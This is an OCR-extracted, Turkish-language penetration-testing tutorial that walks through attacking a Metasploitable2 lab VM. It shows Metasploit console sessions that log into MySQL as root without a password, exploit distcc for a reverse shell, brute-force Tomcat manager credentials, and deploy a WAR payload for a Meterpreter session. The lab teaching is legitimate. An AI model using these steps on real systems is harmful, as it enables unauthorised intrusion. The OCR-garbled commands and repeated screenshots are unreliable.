MyS0L default account: root/no password 7 7.5 890 Tue Dec 31 2002 Thu Aug 22 2013 Critical 1 @ Exclude
plat e sologtigimiplengaimim et Al el O i
CIFS NULL Session Permitted 7.b 755 Wed Jan 011997 Thu Jul 12 2012 Critical 1 @ Exclude

Showing 41 to 50 of 420 | @'# Export to CSV Hows per page: 10

o




!‘!‘ ﬁ g ] systermnctl| start postgres...

msf = use auxiliary admln

mysqgl/mysql_sgl

msf auxiliary(mysql_ ) = show options

Module options (auxiliary/adming/mysql/mysql_sql):

Mame Current Setting

330¢
se version()
LUSERMAME
msf auxiliary( 1 1) > set
LISERMAME -
msf auxiliary( ) ) = set
RHOST == 192.168.237.129
mst auxiliary( | ) run
*] Sending statement: 'select

1 | 5.0.51a-3ubuntus
1 Aauxiliary module executlon
f auxiliary(mysql. 1

*

¥

ms

Required Description

no The password for the specified username
yes The target address

yes The target port

yes The soOL to execute.

no The username to authenticate as

USERMNAME  root

RHOST 192.168.237.129

version()'...

completed



S1zma Testi Ornekleri (Metasploitable2)

Nmap taramasinda gorulen bir diger uygulama 3632. portta ¢alisan DistCC
uygulamasidir.Bu uygulamayi googleda distcc exploit olarak aratip bilinen bir
acikligr var mi diye kontrol ettigimizde
nttps://www.exploit-db.com/exploits/9915/ boyle bir exploitin varhgini
gormekteyiz.Bu kisimdan sonra metasploit ile buldugumuz exploiti deniyoruz.

Ahmet Giirel | www.gurelahmet.com


https://www.exploit-db.com/exploits/9915/

S1zma Testi Ornekleri (Metasploitable2)

€« -> C & https//www.google.com.tr/webhp?sourceid=chrome-instant&8ion=18espv=28&ie=UTF-8#qg=distcc%20exploit

Google distce exploit - A E

Timii Haberler Videolar Gdrseller Haritalar Daha fazla - Arama araclari

Yaklagik 7.790 sonuc bulundu (0,31 saniye)

CVE-2004-2687 DistCC Daemon Command Execufion | Rapid7
https:/iawwaw rapid?. com/db/modules/exploit’ .. /distcc_exec ~ Bu sayfanin cevirisini yap
DistCC Daemon Command Execution ... security weakness to execute arbitrary commands on any
system running distccd. ... exploitunix/misc/disicc_exec ...

Metasploitable Project: Lesson 2. Exploit the distcc daemon to obtain ..
https:/fcomputersecuritystudent. com/.._/EXPLOIT/.. .findex_h... = Bu sayfamn ¢evirisini yap

{ Exploit the distcc daemon to obtain root, Collect Lime Memory Dump } ... A machine with distcc
installed can send code to be compiled across the networkto a ...

DistCC Daemon - Command Execution - Exploit-DB
https:/iwww exploit-db. comfexploits/9915/ » Bu sayfanin cevirisini yap
DistCC Daemon Command Execution. CVE-2004-2687. Remote exploits for multiple platform.

DistCCD | RWB Network Security

wawvw.rwhnetsec. comdistced/ = Bu sayfanin cevirisini yap

Port: TCP 3632 Service: DistCCD Vulnerability: Wealk service configuration ... A quick search
revealed a public exploit for this version, which allows remaote ...

Hacking distcc with Metasploit... | zoidberg's research lab
https://0xzoidberg. wordpress. com/. . /hacking-distcc-with-m... = Bu sayfanin cevirisini yap
3 Tem 2010 - unix/misc/distcc_exec excellent DistCC Daemon Command Execution msf= use
unix/miscidistcc_exec msf exploitidistcc_exec) = show options

Distcc Remote Code Execution Exploit | Core Security

https:/iwww. coresecurity. com/. _./distcc-remote-code-executi... = Bu sayfanin gevirisini yap
Distcc, when not configured to restrict access to the server port, allows remote attackers to execute
... This module exploits the vulnerahbility to install an agent.



= !‘!‘ ﬁ g ] systermnctl| start postgres...

Mame Disclosure Date Rank Description

exploit/unix/misc/distcc_exec 2002-02-01 excellent DistCC Daemon Command Execution

msf = use exploit/unix/ mlaC ‘distcc_exec
msf exploit(distcc_ ) = show options

Module epticns (exploit/unix/misc/distcc_exec):

Mame Current Setting Required Descriptien
RHOST yes The target address
RPORT 3632 yes The target port

Exploit target:

Id MName

e} Automatic Target

msf exploit(
BHOST == 192,16
msf exploit({distcc_exec) > exploit

> set RHOST 192.168.237.129




.\ | m ﬁ u ] systermnctl| start postgres...
=

Mame Disclosure Date Rank
exploit/unix/misc/distcc_exec 2002-02-01 excellent
msf = use exploitsunix/misc/distcc_exec
msf exploit(distcc_ ) = show options

Module epticns (exploit/unix/misc/distcc_exec):

Mame Current Setting Required Descriptien
RHOST yes The target address
RPORT 3632 yes The target port

Exploit target:

Id MName

e} Automatic Target

msf exploit(
BHOST == 192,16 =
msf exploit(distcc_exec) = exploit

> set RHOST 192.168.237.129

[*] Started reverse TCP double handler on 192.168.237.128:4444
] nccepted the first client connection.
accepted the second client connection. ..
Command: echo IEjdjbOYugTHpR
Writing to socket A
Writing to socket B
[*] Reading from sockets...
Feading from socket B
B: "IEjdjbovyugTHpRCVY ryn"
‘] Matehing. .
[*] A is input..

Command Execution

[*] Command shell session 1 opened (192.162.237.128:4444 -= 10592,168.237.129:58093)

whoami
daemon

at 2016-07-26 14:58:28



S1zma Testi Ornekleri (Metasploitable2)

Nmap ciktisinda goruldugu uzere 8180 de Apache Tomcat calismakta normalda
default olarak 80 yada 8080 de calismaktadir.Nexpose ciktisinda ise Default
Tomcat User and Password ciktisi gorulmekte.Bunun igin tomcat_mgr_login
adinda bir auxiliary bulunmakta Brute Force (kaba kuvvet) yontemiyle sifreleri
denemekte default yada en cok kullanilan sifreler kisa bir stirede sonug¢
vermekte.Biz sifrenin default oldugunu bilsekte bu auxliarynin kullanimini
gostermek amaciyla deneyecegiz.Username ve Password u ele gecirdikten sonra
tomcat_mgr_deploy adinda bir exploitimiz var bunu kullanarak sisteme sizmaya

calisacagiz.
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1zma Testi Ornekleri (Metasploitable2)

Nexpose ¢iktisi Default Tomcat Username ve Password
é % O | @ Sertifika hatasi  localhost:3

nexpose Create

EXCLUDE RECALL RESUBMIT

D v Tle f@n 1', CVsSs Rizk Publizhed On Modified On Severity v Instances Exceptions
PHP Vulnerability: CVE-2008-2050 Mon May 05 2008 Fri Feb 13 2015 Critical @ Exclude
PHP Fixed security issue Mon hMay 05 2008 Fri Feb 13 2015 Critical @ Exclude
PHP Vulnerability: CVE-2008-0599 [ Mon May 05 2008 FriFeb 13 2015 Critical @ Exclude
PHP Vulnerability: CVE-2008-5557 Tue Dec 23 2008 Fri Feb 13 2015 Critical @ Exclude
Apache HTTPD: APR apr_pailoc heap overflow (CVE-2009-2412) [ Thu Aug 06 2009 Fri May 27 2016 Critical @ Exciude

Default Tomcat User and Password Mon Nov 09 2009 Fri Jun 03 2016 Critical @ Exclude

PHP Muitiple Vulnerabilities Fixed in version 5.2.12 I [ Thu Dec 17 2009 FriFeb 13 2015 Critical @ Exclude
PHP Vuinerability: CVE-2009-4143 Mon Dec 21 2009 Fri Feb 12 2016 Critical @ Exclude
Obsolete Version of VMware Player Sun Jun 06 2010 Tue Oct 27 2015 Critical @ Exciude

PHP Vulnerability: CVE-2012-2688 Fri Jul 202012 Fri Feb 13 2015 Critical @ Exciuge

Showing 17 to 20 of 420 | @t Export to C8V Rows per page: 1 of 42




[ systemctl| start postgres... aif) [ root 14:37. 2016—0?—26“

msf = search tomcat mgrlogin =

Matching Modules

Name Disclosure Date Rank Description

auxiliary/admin/http/tomcat_administration normal Tomcat Administration Tool Default Access
auxiliary/admin/http/tomcat utfs8 trawversal normal Tomcat UTF-8 Directory Traversal Wulnerability
auxiliary/admin/http/trendmicro_dlp_traversal normal TrendMicro Data Loss Prevention 5.5 Directory Trawversal
auxiliary/dos/http/apache_commons_fileupload_dos 2014-02-086 normal Apache Commons FileUpload and Apache Tomcat DoS
auxlliary/dos/http/apache_tomcat_transfer_esncoding 2010-07-09 normal Apache Tomcat Transfer-Encoding Information Disclosure and DoS
auxiliary/dos/http/hashcollision_dos 2011-12-28 normal Hashtable Collisions

auxiliary/scanner /http/tomcat_enum normal Apache Tomcat User Enumeration
auxiliary/scanner/http/tomcat_mgr_login normal Tomcat Application Manager Login Utility
exp101t,multlfhttp,struta code_exec_classloader 2014- 03- 06 UETIVEYS Apache Struts ClassLoader Manipulation Remote Code Execution
exploit/multi/http/struts_default action_mapper 2013- 07-02 excellent Apache Struts 2 DefaultActionMapper Prefixes OGML Code Execution
exploit/multi/http/struts_dev_mode 2012-01-06 excellent Apache Struts 2 Developer Mode OGML Execution
exploit/multi/http/tomcat _mgr deploy 2009-11-09 excellent Apache Tomcat Manager Application Deployer Authenticated Code Execution
exploit/multi/http/tomcat_mgr_upload 2009- 11- 09 excellent Apache Tomcat Manager Authenticated Upload Code Execution
exploit/multi/http/zenworks_configuration_management_upload 2015-04-07 excellent MNovell ZEMworks Configuration Management Arbitrary File Upload

post/windows,/gather/enum_tomcat normal Windows Gather Apache Tomcat Enumeration

msf = use auxiliary/ scanner’http’tomcat mgr_Llogin
msf auxiliary(tomcat_mgr - show options

Module options (auxiliary/scanner/http/tomcat_mgr_Llogin):

Name Current Setting Required Description

BLAME_PASSWORDS false no Try blank passwords for all users

BRUTEFCORCE SPEED S yes How fast to bruteforce, from © to 5

DE_ALL_CREDS false no Try each user/password couple stored in the current datab
ase

DB_ALL_PASS false no Add all passwords in the current database to the list

DE_ALL_USERS false no add all users in the current database to the list

PASSWORD no A specific password to authenticate with

PASS FILE Jusr/sharesmetasploit-framework,/dataswordlists/tomcat_mgr_default_pass.txt no File containing passwords, one per line

]Proxies no & proxy chain of format type:host:portl,type:host:iportll[.

RHOSTS yes The target address range or CIDR identifier

RPORT 8080 yes The target port

STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host

T ARGET URT Jmanager/html yes URI for Manager login. Default is /manager/html

THREADS 1 yes The number of concurrent threads

USERNAME no A specific username to authenticate as



[ root 14:39, 2016-0?-26“

2011-1 normal Hashtable llisions
scanner http‘tomcat enum normal Apache Tomcat User Enumeration
/scanner /http/tomcat_mgr_Llogin normal Tomcat Application Manager Login Utility
exploity multl,httpﬁatlut: code_exec_classloader 2014- 03- 06 manual Apache Struts ClassLoader Manipulation Remote Code Execution

ezp101t'mult

ttp/struts_default_action_mapper 2013-07-02 excellent Apache Struts 2 DefaultActionMapper Prefixes OGML Code Execution
ttp/struts_dev_mode 2012-01-06 excellent Apache Struts 2 Developer Mode OGML Execution

/ ttp/tomcat_mgr_deploy 2009- 11- 09 excellent Apache Tomcat Manager Application Deployer Authenticated Code Execution
exp101t ‘multi/http/tomcat_mgr_upload 2009- 11- D9 excellent Apache Tomcat Manager Authenticated Upload Code Execution

ﬂxp101t’mult1(httpf:enworks_configuration_management_upload 2015- 04-07 excellent Movell ZEmworks Configuration Management Arbitrary File Upload
post/windows/gather/enum_tomcat normal wWindows Gather Apache Tomcat Enumeration

mst = use auxlllary,scanner http ‘tomcat_mgr_ login
mst auxiliary(+ ] ] - show options

Module options (auxiliary/scanner/http/tomcat_mgr_login):

MName Current Setting Required Description
no Try blank passwords for all users
yes How fast to bruteforce, from © to 5
no Try each user/password couple stored in the current datab
DE_ALL_ PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no add all users in the current database to the list
PASSWORD no & specific password to authenticate with
PASS FILE Jusr/share/metasploit- framework /data/wordlists/tomcat_mgr_default_pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port]l.
RHOSTS yes The target address range or CIDR identifier
RPORT 2080 yes The target port
STOP_OM_SUCCESS false yes Stop guessing when a credential works for a host
T ARGET URT Jmanager/html yes URI for Manager login. Default is /manager/html
THREADS 30 yes The number ot concurrent threads
no A specific username to authenticate as
| Jusr/share/metasploit- framework/data/wordlists/tomcat_mgr_default_userpass.txt no File containing users and passwords separated by space, o
ne pair per line
ISER_AS_PASS false no Try the username as the password for all users
L FILE Jusr/share/metasploit- framework/data/wordlists/tomcat_mgr_default_users.txt no File containing users, one per line
VERBOSE true yes wWhether to prlnt output for all attempts
VHOST no HTTP server virtual host
msf auxiliary(t 1t_mgr_login) > set RHOSTS 192.168.237.120
BHOSTS == 192.168.237.129
msf auxiliary(t jin] = set RPORT 8180
RPORT == 8180

msf auxiliary(tomcat_mgr_login) > run



oruldugu uzere bu auxiliary tomcat_mgr_login ile Username ve Passwordu tomcat : tomcat olarak bulduk.
[ root 14:39, 2016—0?—26“

run s

1)

TOMCAT_MGR - LOGIN FAILED: admin:admin (Incorrect: )

_MGR - LOGIN FAILED: admin:manager (Incorrect: )

- LOGIM FAILED: admin:rolel (Incorrect: )

- LOGIN FAILED: admin:root (Incorrect: )

- LOGIN FAILED: admin:tomcat (Incorrect:

- LOGIM FAILED: admin:s3cret (Incorrect:

- LOGIN FAILED: manager.admln (Incorrect:

- LOGIN FAILED: manager:manager (Incorrec

i - LOGIN FAILED: manager:rolel (Incorrect:
_MGR - LOGIN FAILED: manager:root (Incorrect: )

MuR - LOGIN FAILE manager:tomcat (Incorrect: )

- LOGIMN FAILED: manager:s3cret (Incorrect: )

- LOGIM FAILED: rolel:admin (Incerrect: )

- LOGIMN FAILED: rolel:manager (Incorrect: )

- LOGIN FAILED: rolel:rolel (Incorrect: )

- LOGIN FAILED: rolel:root (Incorrect: )

- LOGIN FAILED: rolel:tomcat (Incorrect: )

- LOGIN FAILED: rolel:s3cret (Incorrect: )

- LOGIN FAILED: root:admin (Incorrect: )

- LOGIMN FAILED: reot:manager (Incorrect: )

=] - LOGIN FAILED: root:rolel (Incorrect: )

_MGR - LOGIM FAILED: root:root (Incorrect: )

_MSR - LOGIM FAILED: root:tomcat (Incorrect: )

_MGR - LOGIM FAILED: root:s3cret (Incorrect: )

_MSR - LOGIMN FATILED: tomcat:admin (Incorrect: )

_MGR - LOGIMN FAILED: tomcat:manager (Incorrect: )

- LOGIM FAILED: tomcat:rolel (Incorrect: )

- LOGIN FAILED: tomcat:root (Incorrect: )
SUCCESSFUL: tomcat:tomcat

_MSR - LOGIM FAILED: both:admin (Incorrect: )

_MGR - LOGIM FAILED: both:manager (Incorrect: )

- LOGIN FAILED: both:rolel (Incorrect: )

i - LOSIN FAILED: both:root (Incorrect: )

_MGR - LOGIN FAILED: both:tomcat (Incorrect: )

_MGR - LOGIN FAILED: both:s3cret (Incorrect: )

- LOGIN FAILED: jZ2deployer:jZdeployer (Incorrect: )

- LOGIN FAILED: owwebusr:Oww*busrl (Incorrect: )

- LOGIM FAILED: cxsdk:kdsxec (Incorrect: )

- LOGIN FAILED: root:owaspbwa (Incorrect: )

- LOGIN FAILED: ADMIM:ADMIM (Incorrect: )

192, e i - LOGIN FAILED: xampp:xampp (Incorrect: )

192,168, 23 E _MGR - LOGIN FAILED: QCC:QLogict6 (Incorrect: )

[*] Scanned 1 of 1 hosts (106 complete)

[*] Auxiliary mﬂdule executlon completed

ms f auxlllar,( ¥ t_s . jin) =

HFEHEHERHEERHERRERR
JAM MM KM KRR KRR NN
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Resimdeki gibi tomcat_mgr_deploy exploitimizi seciyoruz gerekli degerleri atayarak exploiti ¢calistiriyoruz.
[ roct 14:48, 2016—0?—26“

> use explolt/multishtt omcat _mgr_deploy
msf expl-:lt' i) show options

Module options (exploit/multishttp/tomcat_mgr_deploy):
Mame Current Setting Regquired Description

The password for the specified usernames

manager The URI path of the manager app (/deploy and sundeploy will be used)
A proxy chain of 'F-_-r‘mat type:host:portl, type: Fost:portll...]
yes The target addres
=lo] yes The target port
USERNAME no The username to authenticate as
WHOST no HTTP server virtual host
Exploit target:
Id MName
o] Automatic
sf exploit(tc : oy) = set PASSWORD tomeat
WORD == tomcat
mst exploit( )} = set PATH /manager /html
PATH == /manager /html A
exploit{tomcat _de ) = set RHOST
OST => 192.168.237.129
f exploit( ) = set USERMAME tomcat
SERMAME == tomcat
exploit(te X, oy) = show targets
Exploit targets:
Id Name
e} Automatic
1 Java Universal
2 windows Universal
3 Linux x86

ms T f-xp1.01tL mcat_i Loy) = set TARGET 3
ARGET => i
exp'Lnltt ) = exploit B




Resimdeki gibi tomcat_mgr_deploy exploitimizi seciyoruz gerekli degerleri atayarak exploiti ¢calistiriyoruz.
[ roct 14:48, 2016—0?—26“

> use explolt/multishtt omcat _mgr_deploy
msf expl-:lt' i) show options

Module options (exploit/multishttp/tomcat_mgr_deploy):
Mame Current Setting Regquired Description

The password for the specified usernames

manager The URI path of the manager app (/deploy and sundeploy will be used)
A proxy chain of 'F-_-r‘mat type:host:portl, type: Fost:portll...]
yes The target addres
=lo] yes The target port
USERNAME no The username to authenticate as
WHOST no HTTP server virtual host
Exploit target:
Id MName
o] Automatic
sf exploit(tc : oy) = set PASSWORD tomeat
WORD == tomcat
mst exploit( )} = set PATH /manager /html
PATH == /manager /html A
exploit{tomcat _de ) = set RHOST
OST => 192.168.237.129
f exploit( ) = set USERMAME tomcat
SERMAME == tomcat
exploit(te X, oy) = show targets
Exploit targets:
Id Name
e} Automatic
1 Java Universal
2 windows Universal
3 Linux x86

ms T f-xp1.01tL mcat_i Loy) = set TARGET 3
ARGET => i
exp'Lnltt ) = exploit B




RPORT degiskenini default biraktigimiz icin ¢calismadi Nmapdaki portu yani 8180 i girip yeniden c¢alistirdik.Ve

meterpreter ile sisteme sizdik.Bundan sonra meterpreter komutlari ile sistem hakkinda bilgi alinabilir.
[ root 14:50, 2015-0?-26“

\ = m ﬁ a a ] systemctl start postgres...

Id MName

o Automatic

r—-xp'Lr_ut( o i ploy) = set PASSWORD tomcat
== tomcat
m: p101t' ) = set PATH /manager /html
PATH == /manager /html
maf explnt" : epl ) = set RHOST 192.168.237.129
> 192.168.237.129
it (to 1 )} = set USERMAME tomcat
SERMAME == tomcat

mst exploit(tos eploy) = show targets

Exploit targets:

Id Name

o] Automatic

1 Java Universal

2 windows Universal

Linux x86
ex plolt 1 1
WGET ==
explol t (tor Loy)

ms
=
mst

= set TARGET 3

> exploit

Exploit aborted n:lue to failure: not-found: The target serwer fingerprint "apachesz.2.8 (Ubuntul) D&
pache.*(Coyote|Tomcat) )" Fingerprintcheck false' to disable this check.
[*] Expleit comp'L ted, but no ion was created
mst explc ) set RPORT S180
RPORT == 8180
msf exploit(tos t_1 Loy) =

exploit

[*] Started reverse TCP handler on 192.168.
Using manually select target "Linux xB86
[*] Uploading 1829 bytes as 1Mmi.war .
Executing /1Nmi/OoK4FGEal27btkz TEAMIGRAPY XaXK . isp.
Undeploying 1hmi

Transmitting intermediate stager for
Sending stage (1495599 bytes] to 3
Meterpreter session 1 pc-nc-d (192.168.237. H = 192.168.237.129:38792) at 2016-07-26 14:49:27 -0400

FEEFFE ¥

{ Powered by PHP/S.2

4-z2ubuntus. 10 )¢

does not match

vr-mixz A




Meterpreter komutlari ile bir kag bilgi edindik sistem hakkinda.

\ = @ ﬁ n a ] systemctl start postgres... [ Tl s 2016-0?-26“

[*] Executing IGRAPY XoXK. ]Sp. .
[*] uUndeploying 1Nmi )

[*] Transmitting intermediate stager for o
[*] ( 7.
[*1]

Sending stage (1495599 bytes) to 192.1
Meterpreter session 1 opened

)] at 2016-07-26 14: - 0400

meterpreter = sysinfo

mputer metasploitable

Linux metasploitable 2.6.24-16-server #1
626

o
wrchitecture

Apr 10 13:

Meterpreter x86/Linux
meterpreter getuld

server username: uld=110, gid=65534, euid=110, egid=65534, suid=110, sgid=65534
meterpreter = getpid
Current pid: 5453
meterpreter = shell
Process 5471 created.
hannel 1 created.
sh: no job control in this shell
24
sh-2.2% uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1
sh-3.2% whoami
tomcatss
E= 2% ps
TTY TIME CMD
OE:BO:16 jsvc
00:00:00 rThdYieCsIzKrEBn
00:00:00 sh
00:00:00

GRL/ L1 nux

k=)

pa aux
command not found
ps aux

PID %CPU %MEM
.0 0.3

TN

TIME COMMAMD

101 Ssbhinfinit
100 [kthreadd]
oo [migrat
:00 [ksoftirqgd
[watchdeog/0]
[events/O]
[khelper]
[kblockd/o]
[kseriod]
[pdflush]
[pdflush]
[kswapda]
[aios@]
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